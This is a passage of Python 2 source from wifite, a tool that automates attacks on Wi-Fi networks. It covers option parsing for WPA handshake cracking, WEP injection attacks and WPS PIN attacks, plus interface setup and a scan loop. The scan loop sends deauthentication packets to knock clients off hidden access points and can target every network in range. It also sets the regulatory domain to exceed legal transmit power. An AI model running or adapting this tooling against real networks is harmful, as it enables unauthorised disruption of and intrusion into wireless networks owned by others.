                except IndexError:
                    print R+' [!]'+O+' unable to analyze capture file'+W
                    print R+' [!]'+O+' no cap file given!\n'+W
                    self.exit_gracefully(1)
                else:
                    if not os.path.exists(capfile):
                        print R+' [!]'+O+' unable to analyze capture file!'+W
                        print R+' [!]'+O+' file not found: '+R+capfile+'\n'+W
                        self.exit_gracefully(1)
            if options.update:
                self.upgrade()
                exit(0)
            if options.cracked:
                if len(self.CRACKED_TARGETS) == 0:
                    print R+' [!]'+O+' There are no cracked access points saved to '+R+'cracked.db\n'+W
                    self.exit_gracefully(1)
                print GR+' [+]'+W+' '+W+'previously cracked access points'+W+':'
                for victim in self.CRACKED_TARGETS:
                    if victim.wps != False:
                        print ' %s (%s) : "%s" - Pin: %s' % (C+victim.ssid+W, C+victim.bssid+W, G+victim.key+W, G+victim.wps+W)
                    else:
                        print ' %s (%s) : "%s"' % (C+victim.ssid+W, C+victim.bssid+W, G+victim.key+W)
                print ''
                self.exit_gracefully(0)
            # WPA
            if not set_hscheck and (options.tshark or options.cowpatty or options.aircrack or options.pyrit):
                self.WPA_HANDSHAKE_TSHARK = False
                self.WPA_HANDSHAKE_PYRIT = False
                self.WPA_HANDSHAKE_COWPATTY = False
                self.WPA_HANDSHAKE_AIRCRACK = False
                set_hscheck = True
            if options.strip:
                self.WPA_STRIP_HANDSHAKE = True
                print GR+' [+]'+W+' handshake stripping '+G+'enabled'+W
            if options.wpadt:
                try: self.WPA_DEAUTH_TIMEOUT = int(options.wpadt)
                except ValueError: print R+' [!]'+O+' invalid deauth timeout: %s' % (R+options.wpadt+W)
                except IndexError: print R+' [!]'+O+' no deauth timeout given!'+W
                else: print GR+' [+]'+W+' WPA deauth timeout set to %s' % (G+str(self.WPA_DEAUTH_TIMEOUT)+W)
            if options.wpat:
                try: self.WPA_ATTACK_TIMEOUT = int(options.wpat)
                except ValueError: print R+' [!]'+O+' invalid attack timeout: %s' % (R+options.wpat+W)
                except IndexError: print R+' [!]'+O+' no attack timeout given!'+W
                else: print GR+' [+]'+W+' WPA attack timeout set to %s' % (G+str(self.WPA_ATTACK_TIMEOUT)+W)
            if options.crack:
                self.WPA_DONT_CRACK = False
                print GR+' [+]'+W+' WPA cracking '+G+'enabled'+W
                if options.dic:
                    try: self.WPA_DICTIONARY = options.dic
                    except IndexError: print R+' [!]'+O+' no WPA dictionary given!'
                    else:
                        if os.path.exists(options.dic):
                            print GR+' [+]'+W+' WPA dictionary set to %s' % (G + self.WPA_DICTIONARY + W)
                        else:
                            print R+' [!]'+O+' WPA dictionary file not found: %s' % (options.dic)
                else:
                    print R+' [!]'+O+' WPA dictionary file not given!'
                    self.exit_gracefully(1)
            if options.tshark:
                self.WPA_HANDSHAKE_TSHARK = True
                print GR+' [+]'+W+' tshark handshake verification '+G+'enabled'+W
            if options.pyrit:
                self.WPA_HANDSHAKE_PYRIT = True
                print GR+' [+]'+W+' pyrit handshake verification '+G+'enabled'+W
            if options.aircrack:
                self.WPA_HANDSHAKE_AIRCRACK = True
                print GR+' [+]'+W+' aircrack handshake verification '+G+'enabled'+W
            if options.cowpatty:
                self.WPA_HANDSHAKE_COWPATTY = True
                print GR+' [+]'+W+' cowpatty handshake verification '+G+'enabled'+W

            # WEP
            if not set_wep and options.chopchop or options.fragment or options.caffeelatte or options.arpreplay \
                                                or options.p0841 or options.hirte:
                self.WEP_CHOPCHOP = False
                self.WEP_ARPREPLAY = False
                self.WEP_CAFFELATTE = False
                self.WEP_FRAGMENT = False
                self.WEP_P0841 = False
                self.WEP_HIRTE = False
            if options.chopchop:
                print GR+' [+]'+W+' WEP chop-chop attack '+G+'enabled'+W
                self.WEP_CHOPCHOP = True
            if options.fragment:
                print GR+' [+]'+W+' WEP fragmentation attack '+G+'enabled'+W
                self.WEP_FRAGMENT = True
            if options.caffeelatte:
                print GR+' [+]'+W+' WEP caffe-latte attack '+G+'enabled'+W
                self.WEP_CAFFELATTE = True
            if options.arpreplay:
                print GR+' [+]'+W+' WEP arp-replay attack '+G+'enabled'+W
                self.WEP_ARPREPLAY = True
            if options.p0841:
                print GR+' [+]'+W+' WEP p0841 attack '+G+'enabled'+W
                self.WEP_P0841 = True
            if options.hirte:
                print GR+' [+]'+W+' WEP hirte attack '+G+'enabled'+W
                self.WEP_HIRTE = True
            if options.fakeauth:
                print GR+' [+]'+W+' ignoring failed fake-authentication '+R+'disabled'+W
                self.WEP_IGNORE_FAKEAUTH = False
            if options.wepca:
                try: self.WEP_CRACK_AT_IVS = int(options.wepca)
                except ValueError: print R+' [!]'+O+' invalid number: %s' % ( R+options.wepca+W )
                except IndexError: print R+' [!]'+O+' no IV number specified!'+W
                else: print GR+' [+]'+W+' Starting WEP cracking when IV\'s surpass %s' % (G+str(self.WEP_CRACK_AT_IVS)+W)
            if options.wept:
                try: self.WEP_TIMEOUT = int(options.wept)
                except ValueError: print R+' [!]'+O+' invalid timeout: %s' % (R+options.wept+W)
                except IndexError: print R+' [!]'+O+' no timeout given!'+W
                else: print GR+' [+]'+W+' WEP attack timeout set to %s' % (G+str(self.WEP_TIMEOUT) + " seconds"+W)
            if options.pps:
                try: self.WEP_PPS = int(options.pps)
                except ValueError: print R+' [!]'+O+' invalid value: %s' % (R+options.pps+W)
                except IndexError: print R+' [!]'+O+' no value given!'+W
                else: print GR+' [+]'+W+' packets-per-second rate set to %s' % (G+str(options.pps) + " packets/sec"+W)
            if options.wepsave:
                self.WEP_SAVE = True
                print GR+' [+]'+W+' WEP .cap file saving '+G+'enabled'+W

            # WPS
            if options.wpst:
                try: self.WPS_TIMEOUT = int(options.wpst)
                except ValueError: print R+' [!]'+O+' invalid timeout: %s' % (R+options.wpst+W)
                except IndexError: print R+' [!]'+O+' no timeout given!'+W
                else: print GR+' [+]'+W+' WPS attack timeout set to %s' % (G+str(self.WPS_TIMEOUT)+ " seconds"+W)
            if options.wpsratio:
                try: self.WPS_RATIO_THRESHOLD = float(options.wpsratio)
                except ValueError: print R+' [!]'+O+' invalid percentage: %s' % (R+options.wpsratio+W)
                except IndexError: print R+' [!]'+O+' no ratio given!'+W
                else: print GR+' [+]'+W+' minimum WPS tries/attempts threshold set to %s' % (G+str(self.WPS_RATIO_THRESHOLD)+""+W)
            if options.wpsretry:
                try: self.WPS_MAX_RETRIES = int(options.wpsretry)
                except ValueError: print R+' [!]'+O+' invalid number: %s' % (R+options.wpsretry+W)
                except IndexError: print R+' [!]'+O+' no number given!'+W
                else: print GR+' [+]'+W+' WPS maximum retries set to %s' % (G+str(self.WPS_MAX_RETRIES) + " retries"+W)

        except IndexError:
            print '\nindexerror\n\n'

        if capfile != '':
            self.RUN_ENGINE.analyze_capfile(capfile)
        print ''

    def build_opt_parser(self):
        """ Options are doubled for backwards compatability; will be removed soon and
fully moved to GNU-style
"""
        option_parser = argparse.ArgumentParser()

        # set commands
        command_group = option_parser.add_argument_group('COMMAND')
        command_group.add_argument('--check', help='Check capfile [file] for handshakes.', action='store', dest='check')
        command_group.add_argument('-check', action='store', dest='check', help=argparse.SUPPRESS)
        command_group.add_argument('--cracked', help='Display previously cracked access points.', action='store_true', dest='cracked')
        command_group.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true', dest='cracked')
        command_group.add_argument('--recrack', help='Include already cracked networks in targets.', action='store_true', dest='recrack')
        command_group.add_argument('-recrack', help=argparse.SUPPRESS, action='store_true', dest='recrack')

        # set global
        global_group = option_parser.add_argument_group('GLOBAL')
        global_group.add_argument('--all', help='Attack all targets.', default=False, action='store_true', dest='all')
        global_group.add_argument('-all', help=argparse.SUPPRESS, default=False, action='store_true', dest='all')
        global_group.add_argument('-i', help='Wireless interface for capturing.', action='store', dest='interface')
        global_group.add_argument('--mac', help='Anonymize MAC address.', action='store_true', default=False, dest='mac_anon')
        global_group.add_argument('-mac', help=argparse.SUPPRESS, action='store_true', default=False, dest='mac_anon')
        global_group.add_argument('-c', help='Channel to scan for targets.', action='store', dest='channel')
        global_group.add_argument('-e', help='Target a specific access point by ssid (name).', action='store', dest='essid')
        global_group.add_argument('-b', help='Target a specific access point by bssid (mac).', action='store', dest='bssid')
        global_group.add_argument('--showb', help='Display target BSSIDs after scan.', action='store_true', dest='showb')
        global_group.add_argument('-showb', help=argparse.SUPPRESS, action='store_true', dest='showb')
        global_group.add_argument('--power', help='Attacks any targets with signal strength > [pow].',action='store',dest='power')
        global_group.add_argument('-power', help=argparse.SUPPRESS,action='store',dest='power')
        global_group.add_argument('--tx', help='Set adapter TX power level.', action='store', dest='tx')
        global_group.add_argument('-tx', help=argparse.SUPPRESS, action='store', dest='tx')
        global_group.add_argument('--quiet', help='Do not print list of APs during scan.', action='store_true', dest='quiet')
        global_group.add_argument('-quiet', help=argparse.SUPPRESS, action='store_true', dest='quiet')
        global_group.add_argument('--update', help='Check and update Wifite.', default=False,action='store_true', dest='update')
        global_group.add_argument('-update', help=argparse.SUPPRESS, default=False,action='store_true', dest='update')
        # set wpa commands
        wpa_group = option_parser.add_argument_group( 'WPA')
        wpa_group.add_argument('--wpa', help='Only target WPA networks (works with --wps --wep).', default=False,action='store_true', dest='wpa')
        wpa_group.add_argument('-wpa', help=argparse.SUPPRESS, default=False,action='store_true', dest='wpa')
        wpa_group.add_argument('--wpat', help='Time to wait for WPA attack to complete (seconds).', action='store', dest='wpat')
        wpa_group.add_argument('-wpat', help=argparse.SUPPRESS, action='store', dest='wpat')
        wpa_group.add_argument('--wpadt', help='Time to wait between sending deauth packets (seconds).', action='store', dest='wpadt')
        wpa_group.add_argument('-wpadt', help=argparse.SUPPRESS, action='store', dest='wpadt')
        wpa_group.add_argument('--strip', help='Strip handshake using tshark or pyrit.', default=False, action='store_true', dest='strip')
        wpa_group.add_argument('-strip', help=argparse.SUPPRESS, default=False, action='store_true', dest='strip')
        wpa_group.add_argument('--crack', help='Crack WPA handshakes using [dic] wordlist file.', action='store_true', dest='crack')
        wpa_group.add_argument('-crack', help=argparse.SUPPRESS, action='store_true', dest='crack')
        wpa_group.add_argument('--dict', help='Specificy dictionary to use when cracking WPA.', action='store', dest='dic')
        wpa_group.add_argument('-dict', help=argparse.SUPPRESS, action='store', dest='dic')
        wpa_group.add_argument('--aircrack', help='Verify handshake using aircrack.', default=False, action='store_true', dest='aircrack')
        wpa_group.add_argument('-aircrack', help=argparse.SUPPRESS, default=False, action='store_true', dest='aircrack')
        wpa_group.add_argument('--pyrit', help='Verify handshake using pyrit.', default=False, action='store_true', dest='pyrit')
        wpa_group.add_argument('-pyrit', help=argparse.SUPPRESS,default=False, action='store_true', dest='pyrit')
        wpa_group.add_argument('--tshark', help='Verify handshake using tshark.', default=False, action='store_true', dest='tshark')
        wpa_group.add_argument('-tshark', help=argparse.SUPPRESS, default=False, action='store_true', dest='tshark')
        wpa_group.add_argument('--cowpatty', help='Verify handshake using cowpatty.', default=False, action='store_true', dest='cowpatty')
        wpa_group.add_argument('-cowpatty', help=argparse.SUPPRESS, default=False, action='store_true', dest='cowpatty')
        # set WEP commands
        wep_group = option_parser.add_argument_group('WEP')
        wep_group.add_argument('--wep', help='Only target WEP networks.', default=False, action='store_true', dest='wep')
        wep_group.add_argument('-wep', help=argparse.SUPPRESS, default=False, action='store_true', dest='wep')
        wep_group.add_argument('--pps', help='Set the number of packets per second to inject.', action='store', dest='pps')
        wep_group.add_argument('-pps', help=argparse.SUPPRESS, action='store', dest='pps')
        wep_group.add_argument('--wept', help='Sec to wait for each attack, 0 implies endless.', action='store', dest='wept')
        wep_group.add_argument('-wept', help=argparse.SUPPRESS, action='store', dest='wept')
        wep_group.add_argument('--chopchop', help='Use chopchop attack.', default=False, action='store_true', dest='chopchop')
        wep_group.add_argument('-chopchop', help=argparse.SUPPRESS, default=False, action='store_true', dest='chopchop')
        wep_group.add_argument('--arpreplay', help='Use arpreplay attack.', default=False, action='store_true', dest='arpreplay')
        wep_group.add_argument('-arpreplay', help=argparse.SUPPRESS, default=False, action='store_true', dest='arpreplay')
        wep_group.add_argument('--fragment', help='Use fragmentation attack.', default=False, action='store_true', dest='fragment')
        wep_group.add_argument('-fragment', help=argparse.SUPPRESS, default=False, action='store_true', dest='fragment')
        wep_group.add_argument('--caffelatte', help='Use caffe-latte attack.', default=False, action='store_true', dest='caffeelatte')
        wep_group.add_argument('-caffelatte', help=argparse.SUPPRESS, default=False, action='store_true', dest='caffeelatte')
        wep_group.add_argument('--p0841', help='Use P0842 attack.', default=False, action='store_true', dest='p0841')
        wep_group.add_argument('-p0841', help=argparse.SUPPRESS, default=False, action='store_true', dest='p0841')
        wep_group.add_argument('--hirte', help='Use hirte attack.', default=False, action='store_true', dest='hirte')
        wep_group.add_argument('-hirte', help=argparse.SUPPRESS, default=False, action='store_true', dest='hirte')
        wep_group.add_argument('--nofakeauth', help='Stop attack if fake authentication fails.', default=False, action='store_true', dest='fakeauth')
        wep_group.add_argument('-nofakeauth', help=argparse.SUPPRESS, default=False, action='store_true', dest='fakeauth')
        wep_group.add_argument('--wepca', help='Start cracking when number of IVs surpass [n].', action='store', dest='wepca')
        wep_group.add_argument('-wepca', help=argparse.SUPPRESS, action='store', dest='wepca')
        wep_group.add_argument('--wepsave', help='Save a copy of .cap files to this directory.', default=None,action='store', dest='wepsave')
        wep_group.add_argument('-wepsave', help=argparse.SUPPRESS, default=None,action='store', dest='wepsave')
        # set WPS commands
        wps_group = option_parser.add_argument_group('WPS')
        wps_group.add_argument('--wps', help='Only target WPS networks.', default=False, action='store_true', dest='wps')
        wps_group.add_argument('-wps', help=argparse.SUPPRESS, default=False, action='store_true', dest='wps')
        wps_group.add_argument('--wpst', help='Max wait for new retry before giving up (0: never).', action='store', dest='wpst')
        wps_group.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wpst')
        wps_group.add_argument('--wpsratio', help='Min ratio of successful PIN attempts/total retries.', action='store', dest='wpsratio')
        wps_group.add_argument('-wpsratio', help=argparse.SUPPRESS, action='store', dest='wpsratio')
        wps_group.add_argument('--wpsretry', help='Max number of retries for same PIN before giving up.', action='store', dest='wpsretry')
        wps_group.add_argument('-wpsretry', help=argparse.SUPPRESS, action='store', dest='wpsretry')

        return option_parser

    def upgrade(self):
        """
Checks for new version, prompts to upgrade, then
replaces this script with the latest from the repo
"""
        try:
            print GR+' [!]'+W+' upgrading requires an '+G+'internet connection'+W
            print GR+' [+]'+W+' checking for latest version...'
            revision = get_revision()
            if revision == -1:
                print R+' [!]'+O+' unable to access GitHub'+W
            elif revision > self.REVISION:
                print GR+' [!]'+W+' a new version is '+G+'available!'+W
                print GR+' [-]'+W+' revision: '+G+str(revision)+W
                response = raw_input(GR+' [+]'+W+' do you want to upgrade to the latest version? (y/n): ')
                if not response.lower().startswith('y'):
                    print GR+' [-]'+W+' upgrading '+O+'aborted'+W
                    self.exit_gracefully(0)
                    return
                # Download script, replace with this one
                print GR+' [+] '+G+'downloading'+W+' update...'
                try:
                    sock = urllib.urlopen('https://github.com/derv82/wifite/raw/master/wifite.py')
                    page = sock.read()
                except IOError:
                    page = ''
                if page == '':
                    print R+' [+] '+O+'unable to download latest version'+W
                    self.exit_gracefully(1)

                # Create/save the new script
                f=open('wifite_new.py','w')
                f.write(page)
                f.close()

                # The filename of the running script
                this_file = __file__
                if this_file.startswith('./'):
                    this_file = this_file[2:]

                # create/save a shell script that replaces this script with the new one
                f = open('update_wifite.sh','w')
                f.write('''#!/bin/sh\n
rm -rf ''' + this_file + '''\n
mv wifite_new.py ''' + this_file + '''\n
rm -rf update_wifite.sh\n
chmod +x ''' + this_file + '''\n
''')
                f.close()

                # Change permissions on the script
                returncode = call(['chmod','+x','update_wifite.sh'])
                if returncode != 0:
                    print R+' [!]'+O+' permission change returned unexpected code: '+str(returncode)+W
                    self.exit_gracefully(1)
                # Run the script
                returncode = call(['sh','update_wifite.sh'])
                if returncode != 0:
                    print R+' [!]'+O+' upgrade script returned unexpected code: '+str(returncode)+W
                    self.exit_gracefully(1)

                print GR+' [+] '+G+'updated!'+W+' type "./' + this_file + '" to run again'

            else:
                print GR+' [-]'+W+' your copy of wifite is '+G+'up to date'+W

        except KeyboardInterrupt:
            print R+'\n (^C)'+O+' wifite upgrade interrupted'+W
        self.exit_gracefully(0)


class RunEngine:
    def __init__(self, run_config):
        self.RUN_CONFIG = run_config
        self.RUN_CONFIG.RUN_ENGINE = self

    def initial_check(self):
        """
Ensures required programs are installed.
"""
        airs = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng']
        for air in airs:
            if program_exists(air): continue
            print R+' [!]'+O+' required program not found: %s' % (R+air+W)
            print R+' [!]'+O+' this program is bundled with the aircrack-ng suite:'+W
            print R+' [!]'+O+' '+C+'http://www.aircrack-ng.org/'+W
            print R+' [!]'+O+' or: '+W+'sudo apt-get install aircrack-ng\n'+W
            self.RUN_CONFIG.exit_gracefully(1)

        if not program_exists('iw'):
            print R+' [!]'+O+' airmon-ng requires the program %s\n' % (R+'iw'+W)
            self.RUN_CONFIG.exit_gracefully(1)

        printed = False
        # Check reaver
        if not program_exists('reaver'):
            printed = True
            print R+' [!]'+O+' the program '+R+'reaver'+O+' is required for WPS attacks'+W
            print R+' '+O+' available at '+C+'http://code.google.com/p/reaver-wps'+W
            self.RUN_CONFIG.WPS_DISABLE = True
        elif not program_exists('walsh') and not program_exists('wash'):
            printed = True
            print R+' [!]'+O+' reaver\'s scanning tool '+R+'walsh'+O+' (or '+R+'wash'+O+') was not found'+W
            print R+' [!]'+O+' please re-install reaver or install walsh/wash separately'+W

        # Check handshake-checking apps
        recs = ['tshark', 'pyrit', 'cowpatty']
        for rec in recs:
            if program_exists(rec): continue
            printed = True
            print R+' [!]'+O+' the program %s is not required, but is recommended%s' % (R+rec+O, W)
        if printed: print ''

    def enable_monitor_mode(self, iface):
        """
First attempts to anonymize the MAC if requested; MACs cannot
be anonymized if they're already in monitor mode.
Uses airmon-ng to put a device into Monitor Mode.
Then uses the get_iface() method to retrieve the new interface's name.
Sets global variable IFACE_TO_TAKE_DOWN as well.
Returns the name of the interface in monitor mode.
"""
        mac_anonymize(iface)
        print GR+' [+]'+W+' enabling monitor mode on %s...' % (G+iface+W),
        stdout.flush()
        call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN)
        print 'done'
        self.RUN_CONFIG.WIRELESS_IFACE = '' # remove this reference as we've started its monitoring counterpart
        self.RUN_CONFIG.IFACE_TO_TAKE_DOWN = self.get_iface()
        if self.RUN_CONFIG.TX_POWER > 0:
            print GR+' [+]'+W+' setting Tx power to %s%s%s...' % (G, self.RUN_CONFIG.TX_POWER, W),
            call(['iw', 'reg', 'set', 'BO'], stdout=OUTLOG, stderr=ERRLOG)
            call(['iwconfig', iface, 'txpower', self.RUN_CONFIG.TX_POWER], stdout=OUTLOG, stderr=ERRLOG)
            print 'done'
        return self.RUN_CONFIG.IFACE_TO_TAKE_DOWN

    def disable_monitor_mode(self):
        """
The program may have enabled monitor mode on a wireless interface.
We want to disable this before we exit, so we will do that.
"""
        if self.RUN_CONFIG.IFACE_TO_TAKE_DOWN == '': return
        print GR+' [+]'+W+' disabling monitor mode on %s...' % (G+self.RUN_CONFIG.IFACE_TO_TAKE_DOWN+W),
        stdout.flush()
        call(['airmon-ng', 'stop', self.RUN_CONFIG.IFACE_TO_TAKE_DOWN], stdout=DN, stderr=DN)
        print 'done'

    def rtl8187_fix(self, iface):
        """
Attempts to solve "Unknown error 132" common with RTL8187 devices.
Puts down interface, unloads/reloads driver module, then puts iface back up.
Returns True if fix was attempted, False otherwise.
"""
        # Check if current interface is using the RTL8187 chipset
        proc_airmon = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
        proc_airmon.wait()
        using_rtl8187 = False
        for line in proc_airmon.communicate()[0].split():
            line = line.upper()
            if line.strip() == '' or line.startswith('INTERFACE'): continue
            if line.find(iface.upper()) and line.find('RTL8187') != -1: using_rtl8187 = True

        if not using_rtl8187:
            # Display error message and exit
            print R+' [!]'+O+' unable to generate airodump-ng CSV file'+W
            print R+' [!]'+O+' you may want to disconnect/reconnect your wifi device'+W
            self.RUN_CONFIG.exit_gracefully(1)

        print O+" [!]"+W+" attempting "+O+"RTL8187 'Unknown Error 132'"+W+" fix..."

        original_iface = iface
        # Take device out of monitor mode
        airmon = Popen(['airmon-ng', 'stop', iface], stdout=PIPE, stderr=DN)
        airmon.wait()
        for line in airmon.communicate()[0].split('\n'):
            if line.strip() == '' or \
               line.startswith("Interface") or \
               line.find('(removed)') != -1:
                continue
            original_iface = line.split()[0] # line[:line.find('\t')]

        # Remove drive modules, block/unblock ifaces, probe new modules.
        print_and_exec(['ifconfig', original_iface, 'down'])
        print_and_exec(['rmmod', 'rtl8187'])
        print_and_exec(['rfkill', 'block', 'all'])
        print_and_exec(['rfkill', 'unblock', 'all'])
        print_and_exec(['modprobe', 'rtl8187'])
        print_and_exec(['ifconfig', original_iface, 'up'])
        print_and_exec(['airmon-ng', 'start', original_iface])

        print '\r \r',
        print O+' [!] '+W+'restarting scan...\n'

        return True

    def get_iface(self):
        """
Get the wireless interface in monitor mode.
Defaults to only device in monitor mode if found.
Otherwise, enumerates list of possible wifi devices
and asks user to select one to put into monitor mode (if multiple).
Uses airmon-ng to put device in monitor mode if needed.
Returns the name (string) of the interface chosen in monitor mode.
"""
        if not self.RUN_CONFIG.PRINTED_SCANNING:
            print GR+' [+]'+W+' scanning for wireless devices...'
            self.RUN_CONFIG.PRINTED_SCANNING = True

        proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
        iface = ''
        monitors = []
        adapters = []
        for line in proc.communicate()[0].split('\n'):
            if len(line) == 0: continue
            if ord(line[0]) != 32: # Doesn't start with space
                iface = line[:line.find(' ')] # is the interface
            if line.find('Mode:Monitor') != -1:
                monitors.append(iface)
            else: adapters.append(iface)

        if self.RUN_CONFIG.WIRELESS_IFACE != '':
            if monitors.count(self.RUN_CONFIG.WIRELESS_IFACE): return self.RUN_CONFIG.WIRELESS_IFACE
            else:
                if self.RUN_CONFIG.WIRELESS_IFACE in adapters:
                    # valid adapter, enable monitor mode
                    print R+' [!]'+O+' could not find wireless interface %s in monitor mode' % (R+'"'+R+self.RUN_CONFIG.WIRELESS_IFACE+'"'+O)
                    return self.enable_monitor_mode(self.RUN_CONFIG.WIRELESS_IFACE)
                else:
                    # couldnt find the requested adapter
                    print R+' [!]'+O+' could not find wireless interface %s' % ('"'+R+self.RUN_CONFIG.WIRELESS_IFACE+O+'"'+W)
                    self.RUN_CONFIG.exit_gracefully(0)

        if len(monitors) == 1:
            return monitors[0] # Default to only device in monitor mode
        elif len(monitors) > 1:
            print GR+" [+]"+W+" interfaces in "+G+"monitor mode:"+W
            for i, monitor in enumerate(monitors):
                print " %s. %s" % (G+str(i+1)+W, G+monitor+W)
            ri = raw_input("%s [+]%s select %snumber%s of interface to use for capturing (%s1-%d%s): %s" % \
                      (GR, W, G, W, G, len(monitors), W, G))
            while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
                ri = raw_input("%s [+]%s select number of interface to use for capturing (%s1-%d%s): %s" % \
                         (GR, W, G, len(monitors), W, G))
            i = int(ri)
            return monitors[i - 1]

        proc = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
        for line in proc.communicate()[0].split('\n'):
            if len(line) == 0 or line.startswith('Interface'): continue
            monitors.append(line)
       
        if len(monitors) == 0:
            print R+' [!]'+O+" no wireless interfaces were found."+W
            print R+' [!]'+O+" you need to plug in a wifi device or install drivers.\n"+W
            self.RUN_CONFIG.exit_gracefully(0)
        elif self.RUN_CONFIG.WIRELESS_IFACE != '' and monitors.count(self.RUN_CONFIG.WIRELESS_IFACE) > 0:
            return self.enable_monitor_mode(monitor)

        elif len(monitors) == 1:
            monitor = monitors[0][:monitors[0].find('\t')]
            return self.enable_monitor_mode(monitor)

        print GR+" [+]"+W+" available wireless devices:"
        for i, monitor in enumerate(monitors):
            print " %s%d%s. %s" % (G, i + 1, W, monitor)

        ri = raw_input(GR+" [+]"+W+" select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
        while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
            ri = raw_input(" [+] select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
        i = int(ri)
        monitor = monitors[i-1][:monitors[i-1].find('\t')]

        return self.enable_monitor_mode(monitor)

    def scan(self, channel=0, iface='', tried_rtl8187_fix=False):
        """
Scans for access points. Asks user to select target(s).
"channel" - the channel to scan on, 0 scans all channels.
"iface" - the interface to scan on. must be a real interface.
"tried_rtl8187_fix" - We have already attempted to fix "Unknown error 132"
Returns list of selected targets and list of clients.
"""
        remove_airodump_files(self.RUN_CONFIG.temp + 'wifite')

        command = ['airodump-ng',
                   '-a', # only show associated clients
                   '-w', self.RUN_CONFIG.temp + 'wifite'] # output file
        if channel != 0:
            command.append('-c')
            command.append(str(channel))
        command.append(iface)

        proc = Popen(command, stdout=DN, stderr=DN)

        time_started = time.time()
        print GR+' [+] '+G+'initializing scan'+W+' ('+G+iface+W+'), updates at 5 sec intervals, '+G+'CTRL+C'+W+' when ready.'
        (targets, clients) = ([], [])
        try:
            deauth_sent = 0.0
            old_targets = []
            stop_scanning = False
            while True:
                time.sleep(0.3)
                if not os.path.exists(self.RUN_CONFIG.temp + 'wifite-01.csv') and time.time() - time_started > 1.0:
                    print R+'\n [!] ERROR!'+W
                    # RTL8187 Unknown Error 132 FIX
                    if proc.poll() != None: # Check if process has finished
                        proc = Popen(['airodump-ng', iface], stdout=DN, stderr=PIPE)
                        if not tried_rtl8187_fix and proc.communicate()[1].find('failed: Unknown error 132') != -1:
                            send_interrupt(proc)
                            if self.rtl8187_fix(iface):
                                return self.scan(channel=channel, iface=iface, tried_rtl8187_fix=True)
                    print R+' [!]'+O+' wifite is unable to generate airodump-ng output files'+W
                    print R+' [!]'+O+' you may want to disconnect/reconnect your wifi device'+W
                    self.RUN_CONFIG.exit_gracefully(1)

                (targets, clients) = self.parse_csv(self.RUN_CONFIG.temp + 'wifite-01.csv')

                # Remove any already cracked networks if configured to do so
                if self.RUN_CONFIG.SHOW_ALREADY_CRACKED == False:
                    index = 0
                    while index < len(targets):
                        already = False
                        for cracked in self.RUN_CONFIG.CRACKED_TARGETS:
                            if targets[index].ssid.lower() == cracked.ssid.lower():
                                already = True
                            if targets[index].bssid.lower() == cracked.bssid.lower():
                                already = True
                        if already == True:
                            targets.pop(index)
                            index -= 1
                        index += 1

                # If we are targeting a specific ESSID/BSSID, skip the scan once we find it.
                if self.RUN_CONFIG.TARGET_ESSID != '':
                    for t in targets:
                        if t.ssid.lower() == self.RUN_CONFIG.TARGET_ESSID.lower():
                            send_interrupt(proc)
                            try: os.kill(proc.pid, SIGTERM)
                            except OSError: pass
                            except UnboundLocalError: pass
                            targets = [t]
                            stop_scanning = True
                            break
                if self.RUN_CONFIG.TARGET_BSSID != '':
                    for t in targets:
                        if t.bssid.lower() == self.RUN_CONFIG.TARGET_BSSID.lower():
                            send_interrupt(proc)
                            try: os.kill(proc.pid, SIGTERM)
                            except OSError: pass
                            except UnboundLocalError: pass
                            targets = [t]
                            stop_scanning = True
                            break

                # If user has chosen to target all access points, wait 20 seconds, then return all
                if self.RUN_CONFIG.ATTACK_ALL_TARGETS and time.time() - time_started > 10:
                    print GR+'\n [+]'+W+' auto-targeted %s%d%s access point%s' % (G, len(targets), W, '' if len(targets) == 1 else 's')
                    stop_scanning = True

                if self.RUN_CONFIG.ATTACK_MIN_POWER > 0 and time.time() - time_started > 10:
                    # Remove targets with power < threshold
                    i = 0
                    before_count = len(targets)
                    while i < len(targets):
                        if targets[i].power < self.RUN_CONFIG.ATTACK_MIN_POWER:
                            targets.pop(i)
                        else: i += 1
                    print GR+'\n [+]'+W+' removed %s targets with power < %ddB, %s remain' % \
                                    (G+str(before_count - len(targets))+W, self.RUN_CONFIG.ATTACK_MIN_POWER, G+str(len(targets))+W)
                    stop_scanning = True

                if stop_scanning: break

                # If there are unknown SSIDs, send deauths to them.
                if channel != 0 and time.time() - deauth_sent > 5:
                    deauth_sent = time.time()
                    for t in targets:
                        if t.ssid == '':
                            print "\r %s deauthing hidden access point (%s) \r" % \
                                  (GR+sec_to_hms(time.time() - time_started)+W, G+t.bssid+W),
                            stdout.flush()
                            # Time to deauth
                            cmd = ['aireplay-ng',
                                   '--ignore-negative-one',
                                   '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
                                   '-a', t.bssid]
                            for c in clients:
                                if c.station == t.bssid:
                                    cmd.append('-c')
                                    cmd.append(c.bssid)
                                    break
                            cmd.append(iface)
                            proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
                            proc_aireplay.wait()
                            time.sleep(0.5)
                        else:
                            for ot in old_targets:
                                if ot.ssid == '' and ot.bssid == t.bssid:
                                    print '\r %s successfully decloaked "%s" ' % \
                                            (GR+sec_to_hms(time.time() - time_started)+W, G+t.ssid+W)

                    old_targets = targets[:]
                if self.RUN_CONFIG.VERBOSE_APS and len(targets) > 0:
                    targets = sorted(targets, key=lambda t: t.power, reverse=True)
                    if not self.RUN_CONFIG.WPS_DISABLE:
                        wps_check_targets(targets, self.RUN_CONFIG.temp + 'wifite-01.cap', verbose=False)

                    os.system('clear')
                    print GR+'\n [+] '+G+'scanning'+W+' ('+G+iface+W+'), updates at 5 sec intervals, '+G+'CTRL+C'+W+' when ready.\n'
                    print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % ('BSSID ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
                    print ' --- -------------------- %s-- ---- ----- ---- ------' % ('----------------- ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
                    for i, target in enumerate(targets):
                        print " %s%2d%s " % (G, i + 1, W),
                        # SSID
